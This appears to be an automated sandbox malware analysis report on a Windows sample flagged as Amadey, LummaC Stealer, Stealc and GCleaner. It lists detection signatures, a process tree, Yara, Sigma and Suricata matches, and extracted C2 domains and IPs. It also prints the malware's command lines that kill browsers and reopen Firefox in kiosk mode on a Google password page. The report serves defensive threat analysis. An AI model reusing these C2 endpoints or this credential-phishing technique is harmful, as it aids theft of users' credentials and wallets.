Edit tour

Windows Analysis Report
AaxpYFDQ32.exe

Overview

General Information

Sample name:	AaxpYFDQ32.exe renamed because original name is a hash value
Original sample name:	54c4ebab32a69b047745a0d943fa3e6c.exe
Analysis ID:	1632137
MD5:	54c4ebab32a69b047745a0d943fa3e6c
SHA1:	615f757f0f5ea8307627f0974f14e1b04b0b09f8
SHA256:	8092aefb8d30a285b7f848ea5c8e18201dd2d6acaae66b019a24c3f6fc9fcfcb
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey, Credential Flusher, GCleaner, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected Credential Flusher

Yara detected GCleaner

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

AaxpYFDQ32.exe (PID: 6592 cmdline: "C:\Users\user\Desktop\AaxpYFDQ32.exe" MD5: 54C4EBAB32A69B047745A0D943FA3E6C)

rapes.exe (PID: 7068 cmdline: "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: 54C4EBAB32A69B047745A0D943FA3E6C)

rapes.exe (PID: 5716 cmdline: C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: 54C4EBAB32A69B047745A0D943FA3E6C)

rapes.exe (PID: 5412 cmdline: C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: 54C4EBAB32A69B047745A0D943FA3E6C)

c2f48edf32.exe (PID: 6796 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128840101\c2f48edf32.exe" MD5: 8694FCE8A0071AA4DFB43FFDEC5BC4A5)

BitLockerToGo.exe (PID: 7340 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

7f41c1bc85.exe (PID: 6016 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128850101\7f41c1bc85.exe" MD5: 0AAB6F86165F15D90D3F9224583744E7)

5a20da7e37.exe (PID: 7356 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe" MD5: 9DD7F35BAA732AB9C19737F7574F5198)

5a20da7e37.exe (PID: 7392 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe" MD5: 9DD7F35BAA732AB9C19737F7574F5198)

WerFault.exe (PID: 7496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7356 -s 800 MD5: C31336C1EFC2CCB44B4326EA793040F2)

4bcefcec83.exe (PID: 7672 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe" MD5: DD5A77191F6C57CD51ACA34A7278DB60)

2009d9de82.exe (PID: 7884 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe" MD5: CA40B09A677A385EBC38268CD445ABD0)

3353aa7d43.exe (PID: 8132 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe" MD5: D9C528B98DEC61D94D18A752ED8EA2C7)

taskkill.exe (PID: 8188 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 656 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7460 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5948 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5404 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6876 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

a026d51e13.exe (PID: 1732 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128900101\a026d51e13.exe" MD5: 061D25126C89EF342F0998E61C147D5B)

4bcefcec83.exe (PID: 8012 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe" MD5: DD5A77191F6C57CD51ACA34A7278DB60)

firefox.exe (PID: 7060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5652 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2324 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7e7f5d5-73dd-4c1a-a6fa-a6c484cbc095} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 14859a6f910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3852 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4112 -prefMapHandle 4088 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf6327f8-2f8d-4679-bca6-27319e078dfd} 5652 "\\.\pipe\gecko-crash-server-pipe.5652" 1486b8e4b10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

2009d9de82.exe (PID: 7036 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe" MD5: CA40B09A677A385EBC38268CD445ABD0)

3353aa7d43.exe (PID: 5892 cmdline: "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe" MD5: D9C528B98DEC61D94D18A752ED8EA2C7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
GCleaner		No Attribution	https://bazaar.abuse.ch/browse/signature/GCleaner/ https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145 https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/ https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/	https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["dawtastream.bet", "foresctwhispers.top", "tracnquilforest.life", "collapimga.fun", "seizedsentec.online", "strawpeasaen.fun", "quietswtreams.life", "starrynsightsky.icu"], "Build id": "tw1SlF--"}

Threatname: Amadey

{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Threatname: GCleaner

{"C2 addresses": ["45.91.200.135", "185.156.73.73"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000003.1468184822.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.3153710799.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3152931789.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000014.00000003.2399025897.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2399139972.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2390014961.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.977723439.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000002.00000003.981792054.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000016.00000003.3147736965.00000000011BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1345225664.000000000DF48000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000016.00000003.3152931789.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3147736965.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2247542901.0000000001714000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1022071947.0000000000571000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000016.00000003.3596397104.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1345225664.000000000DE98000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000014.00000003.2248345154.0000000001714000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1345225664.000000000DEF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000002.1345225664.000000000DE00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000016.00000003.3147512947.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1345225664.000000000DEC4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000016.00000003.3147512947.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.1638611281.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.1597360565.0000000004D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.3673843677.0000000001201000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2362640058.00000000016C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1345225664.000000000DF1C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000004.00000002.1345225664.000000000DF9E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000F.00000002.2453248981.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1018115850.0000000000571000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000016.00000003.3598089339.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1650876424.0000000000701000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000015.00000002.1509062619.0000000000DB1000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.3153710799.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.939040305.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000006.00000002.1341218856.0000000000E61000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000002.1336137578.000000000DC4C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000004.00000002.1345225664.000000000E02E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000003.00000003.1066544935.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000016.00000003.3567886472.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3633145767.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3631488432.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4bcefcec83.exe PID: 7672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4bcefcec83.exe PID: 7672	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2009d9de82.exe PID: 7884	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2009d9de82.exe PID: 7884	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4bcefcec83.exe PID: 8012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4bcefcec83.exe PID: 8012	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3353aa7d43.exe PID: 8132	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.5a20da7e37.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
13.2.BitLockerToGo.exe.700000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
4.2.c2f48edf32.exe.de98000.2.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
4.2.c2f48edf32.exe.dec4000.5.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
4.2.c2f48edf32.exe.de00000.4.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
14.2.5a20da7e37.exe.3859550.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
4.2.c2f48edf32.exe.def0000.3.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
4.2.c2f48edf32.exe.df1c000.6.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
15.2.5a20da7e37.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
22.2.4bcefcec83.exe.3a0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
20.2.4bcefcec83.exe.3a0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, ProcessId: 5412, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4bcefcec83.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, ProcessId: 5412, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4bcefcec83.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, ParentCommandLine: "C:\Users\user\Desktop\AaxpYFDQ32.exe", ParentImage: C:\Users\user\Desktop\AaxpYFDQ32.exe, ParentProcessId: 6592, ParentProcessName: AaxpYFDQ32.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe" , ProcessId: 7068, ProcessName: rapes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:29.053263+0100	2028371	3	Unknown Traffic	192.168.2.7	49691	104.73.234.102	443	TCP
2025-03-07T20:01:38.539848+0100	2028371	3	Unknown Traffic	192.168.2.7	49694	104.21.16.1	443	TCP
2025-03-07T20:01:47.867411+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	104.21.112.1	443	TCP
2025-03-07T20:01:55.374564+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	188.114.97.3	443	TCP
2025-03-07T20:01:59.270378+0100	2028371	3	Unknown Traffic	192.168.2.7	49714	104.21.112.1	443	TCP
2025-03-07T20:02:05.491145+0100	2028371	3	Unknown Traffic	192.168.2.7	49723	188.114.97.3	443	TCP
2025-03-07T20:02:12.545886+0100	2028371	3	Unknown Traffic	192.168.2.7	49735	104.21.48.1	443	TCP
2025-03-07T20:02:15.927269+0100	2028371	3	Unknown Traffic	192.168.2.7	49744	188.114.97.3	443	TCP
2025-03-07T20:02:21.854019+0100	2028371	3	Unknown Traffic	192.168.2.7	49750	104.21.48.1	443	TCP
2025-03-07T20:02:28.922447+0100	2028371	3	Unknown Traffic	192.168.2.7	49756	188.114.96.3	443	TCP
2025-03-07T20:02:30.729101+0100	2028371	3	Unknown Traffic	192.168.2.7	49758	104.21.112.1	443	TCP
2025-03-07T20:02:30.767161+0100	2028371	3	Unknown Traffic	192.168.2.7	49761	104.21.48.1	443	TCP
2025-03-07T20:02:30.845720+0100	2028371	3	Unknown Traffic	192.168.2.7	49767	188.114.96.3	443	TCP
2025-03-07T20:02:33.555560+0100	2028371	3	Unknown Traffic	192.168.2.7	49794	188.114.96.3	443	TCP
2025-03-07T20:02:38.623491+0100	2028371	3	Unknown Traffic	192.168.2.7	49817	104.21.64.1	443	TCP
2025-03-07T20:02:40.719372+0100	2028371	3	Unknown Traffic	192.168.2.7	49824	188.114.97.3	443	TCP
2025-03-07T20:02:56.458331+0100	2028371	3	Unknown Traffic	192.168.2.7	49851	188.114.96.3	443	TCP
2025-03-07T20:03:00.033490+0100	2028371	3	Unknown Traffic	192.168.2.7	49861	188.114.96.3	443	TCP
2025-03-07T20:03:05.976227+0100	2028371	3	Unknown Traffic	192.168.2.7	49870	188.114.96.3	443	TCP
2025-03-07T20:03:06.963090+0100	2028371	3	Unknown Traffic	192.168.2.7	49872	188.114.97.3	443	TCP
2025-03-07T20:03:10.787313+0100	2028371	3	Unknown Traffic	192.168.2.7	49881	188.114.96.3	443	TCP
2025-03-07T20:03:12.189862+0100	2028371	3	Unknown Traffic	192.168.2.7	49883	188.114.97.3	443	TCP
2025-03-07T20:03:13.661200+0100	2028371	3	Unknown Traffic	192.168.2.7	49886	188.114.96.3	443	TCP
2025-03-07T20:03:15.486456+0100	2028371	3	Unknown Traffic	192.168.2.7	49891	188.114.97.3	443	TCP
2025-03-07T20:03:16.881800+0100	2028371	3	Unknown Traffic	192.168.2.7	49889	104.21.64.1	443	TCP
2025-03-07T20:03:19.517876+0100	2028371	3	Unknown Traffic	192.168.2.7	49898	188.114.97.3	443	TCP
2025-03-07T20:03:22.071671+0100	2028371	3	Unknown Traffic	192.168.2.7	49903	188.114.97.3	443	TCP
2025-03-07T20:03:22.833402+0100	2028371	3	Unknown Traffic	192.168.2.7	49904	188.114.97.3	443	TCP
2025-03-07T20:03:25.546600+0100	2028371	3	Unknown Traffic	192.168.2.7	49912	188.114.97.3	443	TCP
2025-03-07T20:04:53.631020+0100	2028371	3	Unknown Traffic	192.168.2.7	49992	104.21.112.1	443	TCP
2025-03-07T20:04:56.084994+0100	2028371	3	Unknown Traffic	192.168.2.7	49994	104.21.112.1	443	TCP
2025-03-07T20:04:59.059189+0100	2028371	3	Unknown Traffic	192.168.2.7	49997	104.21.112.1	443	TCP
2025-03-07T20:05:01.592677+0100	2028371	3	Unknown Traffic	192.168.2.7	50000	104.21.112.1	443	TCP
2025-03-07T20:05:04.467004+0100	2028371	3	Unknown Traffic	192.168.2.7	50009	104.21.112.1	443	TCP
2025-03-07T20:05:07.655976+0100	2028371	3	Unknown Traffic	192.168.2.7	50012	104.21.112.1	443	TCP
2025-03-07T20:05:10.215610+0100	2028371	3	Unknown Traffic	192.168.2.7	50015	104.21.112.1	443	TCP
2025-03-07T20:05:13.410864+0100	2028371	3	Unknown Traffic	192.168.2.7	50022	104.21.48.1	443	TCP
2025-03-07T20:05:16.194697+0100	2028371	3	Unknown Traffic	192.168.2.7	50024	104.21.48.1	443	TCP
2025-03-07T20:05:19.595478+0100	2028371	3	Unknown Traffic	192.168.2.7	50027	104.21.48.1	443	TCP
2025-03-07T20:05:23.023631+0100	2028371	3	Unknown Traffic	192.168.2.7	50029	104.21.48.1	443	TCP
2025-03-07T20:05:26.687313+0100	2028371	3	Unknown Traffic	192.168.2.7	50032	104.21.48.1	443	TCP
2025-03-07T20:05:28.293537+0100	2028371	3	Unknown Traffic	192.168.2.7	50034	188.114.96.3	443	TCP
